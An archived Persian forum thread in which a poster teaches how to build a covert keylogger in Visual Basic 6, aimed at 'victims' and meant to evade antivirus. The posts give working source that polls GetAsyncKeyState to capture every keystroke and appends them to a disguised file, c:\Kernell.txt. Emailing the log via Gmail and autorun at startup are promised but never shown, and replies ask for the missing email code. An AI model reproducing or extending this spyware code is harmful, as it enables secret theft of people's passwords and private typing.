توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : آموزش کامل نوشتن کی لاگر توسط ويژوال بیسيک
m4hs4
06-01-2010, 12:36 AM
================================================== =======
================================================== ========
================================================== =======
من ميخوام تو اين پست آموزش نوشتن کی لاگر توسط ويژوال بسيک رو بدم
در صورتی که شما آشنايی کمی هم با ويژوال بیسيک داشته باشين هم اين مطالب ميتواند براي شما مفيد باشد:cool:
راستش رو بخواين من يه کی لاگر نوشتم که بفروشم ولی کسی ازم نخواريد :(واسه همين
بی خيال فروختنش شدم و ترجيح دادم که آموزشش بدم cigar
شما در اين پست مطالب زير رو ياد ميگيريد :
1-برنامه اي بنويسيم که کليد های زده شده توسط کاربر را به دست بياره
2-برنامه اي بنويسيم که کليد های بدست آمده از کاربر رو در يک فايل ذخيره کنه
3-برنامه اي بنويسيم که فايل درست شده در سيستم قربانی را برای ما ارسال کنه(البته به جی ميل و با استفاده از SMTP Server رايگان جی ميل)
4-برنامه اي بنويسيم که به طوره مثال فقط کليد های زده شده در فاير فاکس رو ارسال کنه
يا فقط کليد های زده شده در ورد و غير ه
5-برنامه اي بنويسيم که کی لاگر نوشته شده توسط ما رو هر بار که کامپيوتر قربانی
روشن ميشه اجرا کنه
فعلاً واسه شروع همينا بسته=>لازم به ذکر است که ما در آخر ويژگی های ديگری به اين کی لاگر اضافه ميکنيم که قدرته بيشتری بدست بياره
پر واضحه اين آموزش ها فقط در صورتی که مورد استقبال واقع بشه ادامه خواهد داشت;;)
سؤال هاتون رو همينجا ميتونيد بپرسيد يا پيام خصوصی بدين:cool:
m4hs4
06-01-2010, 12:53 AM
================================================== =======
======================> پست آموزشی اول <=======================
================================================== =======
چگونه می توان کلیدهاي کیبرد را حتی وقتی فوکوس روي برنامه ما نیست تشخیص داد؟
من دو روش زیر را براي اینکار پیشنهاد می کنم :
1- استفاده از یک تابع کتابخانه اي به اسم GetAsyncKeyState موجود در کتابخانه user32.dll
این تابع فشرده شدن یا رها شدن یک کلید را تشخیص می دهد
نحوه declare کردن این تابع بصورت زیر است :
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
حال در برنامه تان یک Timer قرار داده و در event آن کد زیر را قرار دهید :
For i = 1 To 255
results = 0
results = GetAsyncKeyState(i)
If results <> 0 Then
Msgbox(Chr(i))
End If
Next
ما از اين روش در کی لاگر خودمون استفاده ميکنيم
2- استفاده از قلاب یا Hook : قلاب ، یک ابزار در مکانیزم مدیریت پیغام
سیستم ویندوز است که توسط آن برنامه ها می توانند یک روتین را
براي مدیریت و پردازش پیغامهاي خاصی قبل از اینکه آن پیغامها به
برنامه مقصد برسند نصب نمایند . قلابها باعث کندي سیستم می شوند
زیرا حجم پردازشی سیستم روي هر پیغام را افزایش می دهند بنابراین
بایستی زمانیکه واقعا به قلاب نیاز دارید آنرا نصب نموده و هر چه
زودتر آنرا حذف نمایید .
ما از اين روش استفاده نميکنيم فقط گفتم که بدونيد يه همچين چيزی هم هست
البته بعد ها يک نمونه کد واسه اونايی که به اين روش علاقه دارن ميزارم
واسه آشناييتون با کی لاگر ها يک نمونه کی لاگر معروف اينجا ميزارم که البته آنتی ويروس
به اون گير ميده و ما ميخوايم کدی بزنيم که آنتی ويروس بش گير نده:cool:
اگه مطالب بالا رو نفهميدين مهم نيست من يک نمونه کد آمده از مطالب رو در پست بعدی
قرار ميدم
m4hs4
06-01-2010, 02:22 AM
================================================== =======
======================> پست آموزشی دوم <=======================
================================================== =======
کدی که در زير ميبينيد يه نمونه کد هست که هر کليدی که کاربر بزنه در يک TextBox
نمايش ميده
اين کد از روش 1 برای کار خودش استفاده ميکنه
ما در اين کد کد های اسکی گرفته شده را با کد های اسکی مورد نظر خودمون مقايسه
ميکنيم تا کليد زده شده را کشف کنيم
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim i As Integer, x As Integer, Text1Text As String
For i = 1 To 256
x = GetAsyncKeyState(i)
If x = -32767 Then
Select Case i
Case vbKeyBack: Text1Text = Text1Text + " [Backspace] "
Case vbKeyTab: Text1Text = Text1Text & " [Tab] "
Case vbKeyReturn: Text1Text = Text1Text & " [Enter] "
Case vbKeyCapital: Text1Text = Text1Text & " [CapsLock] "
Case vbKeyEscape: Text1Text = Text1Text & " [Esc] "
Case vbKeySpace: Text1Text = Text1Text & " [Space] "
Case vbKeyPageUp: Text1Text = Text1Text & " [PageUp] "
Case vbKeyPageDown: Text1Text = Text1Text & " [PageDown] "
Case vbKeyEnd: Text1Text = Text1Text & " [End] "
Case vbKeyHome: Text1Text = Text1Text & " [Home] "
Case vbKeyLeft: Text1Text = Text1Text & " [Left] "
Case vbKeyUp: Text1Text = Text1Text & " [KeyUp] "
Case vbKeyRight: Text1Text = Text1Text & " [KeyRight] "
Case vbKeyDown: Text1Text = Text1Text & " [KeyDown] "
Case vbKeySnapshot: Text1Text = Text1Text & " [Prnt Scrn] "
Case vbKeyInsert: Text1Text = Text1Text & " [KeyInsert] "
Case vbKeyDelete: Text1Text = Text1Text & " [Delete] "
Case vbKey0: Text1Text = Text1Text & "0"
Case vbKey1: Text1Text = Text1Text & "1"
Case vbKey2: Text1Text = Text1Text & "2"
Case vbKey3: Text1Text = Text1Text & "3"
Case vbKey4: Text1Text = Text1Text & "4"
Case vbKey5: Text1Text = Text1Text & "5"
Case vbKey6: Text1Text = Text1Text & "6"
Case vbKey7: Text1Text = Text1Text & "7"
Case vbKey8: Text1Text = Text1Text & "8"
Case vbKey9: Text1Text = Text1Text & "9"
Case vbKeyA: Text1Text = Text1Text & "a"
Case vbKeyB: Text1Text = Text1Text & "b"
Case vbKeyC: Text1Text = Text1Text & "c"
Case vbKeyD: Text1Text = Text1Text & "d"
Case vbKeyE: Text1Text = Text1Text & "e"
Case vbKeyF: Text1Text = Text1Text & "f"
Case vbKeyG: Text1Text = Text1Text & "g"
Case vbKeyH: Text1Text = Text1Text & "h"
Case vbKeyI: Text1Text = Text1Text & "i"
Case vbKeyJ: Text1Text = Text1Text & "j"
Case vbKeyK: Text1Text = Text1Text & "k"
Case vbKeyL: Text1Text = Text1Text & "l"
Case vbKeyM: Text1Text = Text1Text & "m"
Case vbKeyN: Text1Text = Text1Text & "n"
Case vbKeyO: Text1Text = Text1Text & "o"
Case vbKeyP: Text1Text = Text1Text & "p"
Case vbKeyQ: Text1Text = Text1Text & "q"
Case vbKeyR: Text1Text = Text1Text & "r"
Case vbKeyS: Text1Text = Text1Text & "s"
Case vbKeyT: Text1Text = Text1Text & "t"
Case vbKeyU: Text1Text = Text1Text & "u"
Case vbKeyV: Text1Text = Text1Text & "v"
Case vbKeyW: Text1Text = Text1Text & "w"
Case vbKeyX: Text1Text = Text1Text & "x"
Case vbKeyY: Text1Text = Text1Text & "y"
Case vbKeyZ: Text1Text = Text1Text & "z"
Case 161: Text1Text = Text1Text & " [Shift R] "
Case 160: Text1Text = Text1Text & " [Shift L] "
Case 111: Text1Text = Text1Text & " / "
Case 191: Text1Text = Text1Text & " / "
Case 186: Text1Text = Text1Text & " ; "
Case 187: Text1Text = Text1Text & " = "
Case 189: Text1Text = Text1Text & " - "
Case 190: Text1Text = Text1Text & " . "
Case 192: Text1Text = Text1Text & " ' "
Case 219: Text1Text = Text1Text & " [ "
Case 220: Text1Text = Text1Text & " \ "
Case 221: Text1Text = Text1Text & " ] "
Case 222: Text1Text = Text1Text & " ' "
Case 188: Text1Text = Text1Text & " , "
Case vbKeyMultiply: Text1Text = Text1Text & "*"
Case vbKeyAdd: Text1Text = Text1Text & "+"
Case vbKeySubtract: Text1Text = Text1Text & "-"
Case vbKeyNumlock: Text1Text = Text1Text & " [NumLock] "
End Select
End If
Next i
If Text1Text <> "" Then Text1.Text = Text1.Text + Text1Text
End Sub
کد بالا پايه کار ما هست ما رو اين کد کار ميکنيم تا يک کی لاگر کامل بنويسيم
پس اگه سؤالی دارين بپرسين
کد زده شده و آمده اين آموزش در ويژال بيسيک Attachشده است
m4hs4
06-01-2010, 02:38 AM
جدول کد های اسکی به کار رفته ضميمه شد
m4hs4
06-01-2010, 07:25 PM
================================================== =======
======================> پست آموزشی سوم <=======================
================================================== =======
در اين پست ميخوايم کليد های زده شده توسط کاربر رو در يک فايل ذخيره کنيم تا بعد ها
اين فايل رو به ميل خودمون ارسال کنيم
اين کار رو با دستورOPEN انجام ميديم به صورت زير:
Open "c:\Kernell.txt" For Append As #1
اين دستور يک فايل در درایو C ايجاد ميکنه با قابليت اضافه کردن به آن Appendو برای اون شناسه 1 رو در نظر ميگيره
برای پرينت کردن کليد های مورد نظر در يک فايل از دستورPrint استفاده ميکنيم
البته بايد يک ويرگول آخرش اضافه کنيم تا کاراکتر ها رو در يک خط بنويسه
;Print #1, Text1Text
با دستور زير فايل مورد نظر رو ميبنديم
Close #1
کد بهبود يافته به صورت زير است
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Open "c:\Kernell.txt" For Append As #1
Dim i As Integer, x As Integer, Text1Text As String
For i = 1 To 256
x = GetAsyncKeyState(i)
If x = -32767 Then
Select Case i
Case vbKeyBack: Text1Text = Text1Text + " [Backspace] "
Case vbKeyTab: Text1Text = Text1Text & " [Tab] "
Case vbKeyReturn: Text1Text = Text1Text & " [Enter] "
Case vbKeyCapital: Text1Text = Text1Text & " [CapsLock] "
Case vbKeyEscape: Text1Text = Text1Text & " [Esc] "
Case vbKeySpace: Text1Text = Text1Text & " [Space] "
Case vbKeyPageUp: Text1Text = Text1Text & " [PageUp] "
Case vbKeyPageDown: Text1Text = Text1Text & " [PageDown] "
Case vbKeyEnd: Text1Text = Text1Text & " [End] "
Case vbKeyHome: Text1Text = Text1Text & " [Home] "
Case vbKeyLeft: Text1Text = Text1Text & " [Left] "
Case vbKeyUp: Text1Text = Text1Text & " [KeyUp] "
Case vbKeyRight: Text1Text = Text1Text & " [KeyRight] "
Case vbKeyDown: Text1Text = Text1Text & " [KeyDown] "
Case vbKeySnapshot: Text1Text = Text1Text & " [Prnt Scrn] "
Case vbKeyInsert: Text1Text = Text1Text & " [KeyInsert] "
Case vbKeyDelete: Text1Text = Text1Text & " [Delete] "
Case vbKey0: Text1Text = Text1Text & "0"
Case vbKey1: Text1Text = Text1Text & "1"
Case vbKey2: Text1Text = Text1Text & "2"
Case vbKey3: Text1Text = Text1Text & "3"
Case vbKey4: Text1Text = Text1Text & "4"
Case vbKey5: Text1Text = Text1Text & "5"
Case vbKey6: Text1Text = Text1Text & "6"
Case vbKey7: Text1Text = Text1Text & "7"
Case vbKey8: Text1Text = Text1Text & "8"
Case vbKey9: Text1Text = Text1Text & "9"
Case vbKeyA: Text1Text = Text1Text & "a"
Case vbKeyB: Text1Text = Text1Text & "b"
Case vbKeyC: Text1Text = Text1Text & "c"
Case vbKeyD: Text1Text = Text1Text & "d"
Case vbKeyE: Text1Text = Text1Text & "e"
Case vbKeyF: Text1Text = Text1Text & "f"
Case vbKeyG: Text1Text = Text1Text & "g"
Case vbKeyH: Text1Text = Text1Text & "h"
Case vbKeyI: Text1Text = Text1Text & "i"
Case vbKeyJ: Text1Text = Text1Text & "j"
Case vbKeyK: Text1Text = Text1Text & "k"
Case vbKeyL: Text1Text = Text1Text & "l"
Case vbKeyM: Text1Text = Text1Text & "m"
Case vbKeyN: Text1Text = Text1Text & "n"
Case vbKeyO: Text1Text = Text1Text & "o"
Case vbKeyP: Text1Text = Text1Text & "p"
Case vbKeyQ: Text1Text = Text1Text & "q"
Case vbKeyR: Text1Text = Text1Text & "r"
Case vbKeyS: Text1Text = Text1Text & "s"
Case vbKeyT: Text1Text = Text1Text & "t"
Case vbKeyU: Text1Text = Text1Text & "u"
Case vbKeyV: Text1Text = Text1Text & "v"
Case vbKeyW: Text1Text = Text1Text & "w"
Case vbKeyX: Text1Text = Text1Text & "x"
Case vbKeyY: Text1Text = Text1Text & "y"
Case vbKeyZ: Text1Text = Text1Text & "z"
Case 161: Text1Text = Text1Text & " [Shift R] "
Case 160: Text1Text = Text1Text & " [Shift L] "
Case 111: Text1Text = Text1Text & " / "
Case 191: Text1Text = Text1Text & " / "
Case 186: Text1Text = Text1Text & " ; "
Case 187: Text1Text = Text1Text & " = "
Case 189: Text1Text = Text1Text & " - "
Case 190: Text1Text = Text1Text & " . "
Case 192: Text1Text = Text1Text & " ' "
Case 219: Text1Text = Text1Text & " [ "
Case 220: Text1Text = Text1Text & " \ "
Case 221: Text1Text = Text1Text & " ] "
Case 222: Text1Text = Text1Text & " ' "
Case 188: Text1Text = Text1Text & " , "
Case vbKeyMultiply: Text1Text = Text1Text & "*"
Case vbKeyAdd: Text1Text = Text1Text & "+"
Case vbKeySubtract: Text1Text = Text1Text & "-"
Case vbKeyNumlock: Text1Text = Text1Text & " [NumLock] "
End Select
End If
Next i
If Text1Text <> "" Then Print #1, Text1Text;
Close #1
End Sub
big_hacker
06-01-2010, 08:29 PM
ممنون از پست های مفيدتون ميشه بدونم چرا ؟ => x = -32767
m4hs4
06-01-2010, 10:37 PM
اين قسمت از کد برای اين است که شما چک کنيد که آيا کليدی زده شده است يا نه در صورتی که
x = -32767 باشد اون موقع يعنی کاربر کليدی رو زده اون عدد هم از راه تجربه بدست امده يعنی چک کردم که اون تابع وقتی که کليدی زده ميشه چه مقداری ميده
همين جا جا داره از دوستان به خاطر استقبالشون تشکر کنم
m4hs4
06-02-2010, 12:13 AM
يه چيزی که جا داره من اينجا بگم اينه که ما اينجا داريم از توابع API استفاده ميکنيم که اين دستورات از قبل برای کار های ما ساخته شده و اصلاً لازم نداره که ما وارد ريز مسائل بشيم
به عبارتی ما همين که ميدنيم فلان دستور فلان کار رو واسه ما ميکنه بسته و اصلاً لازم نيست که
بدونيم که چه جوری اين کار رو ميکنهcigar
saman68
06-08-2011, 09:52 PM
سلام
ممنون دستت درد نكنه اما همه اينارو گفتيد كد ارسال email نيست خيلي گشتم نبود اگه لطف كني و سورس آمادشو بذاري كه فقط آدرس email را عوض كرد خيلي كمك كردي چون هيچجا نيست
MohamadF
11-27-2011, 05:13 PM
من همه ی تاپیکو خوندم که روش ایمیل زدنو یاد بگیرم...!!!
:( :( :(
dehghanisina
11-27-2011, 05:37 PM
من از این پستا سر در نمیارم میشه تصویری قرار بدین؟(ویدئویی)
blackishadow
02-24-2012, 12:34 AM
سلام از اموزشی که گذاشتید واقعا ممنونم اگه ممکنه طریقه فرستادنش روهم توضیح بدید مخصوصا اگه از طریق ایمیل باشه
ممنونم
zedbaz
03-12-2012, 05:28 PM
دمت گرم عالی بود
vBulletin® v3.8.4, Copyright ©2000-2012, Jelsoft Enterprises Ltd.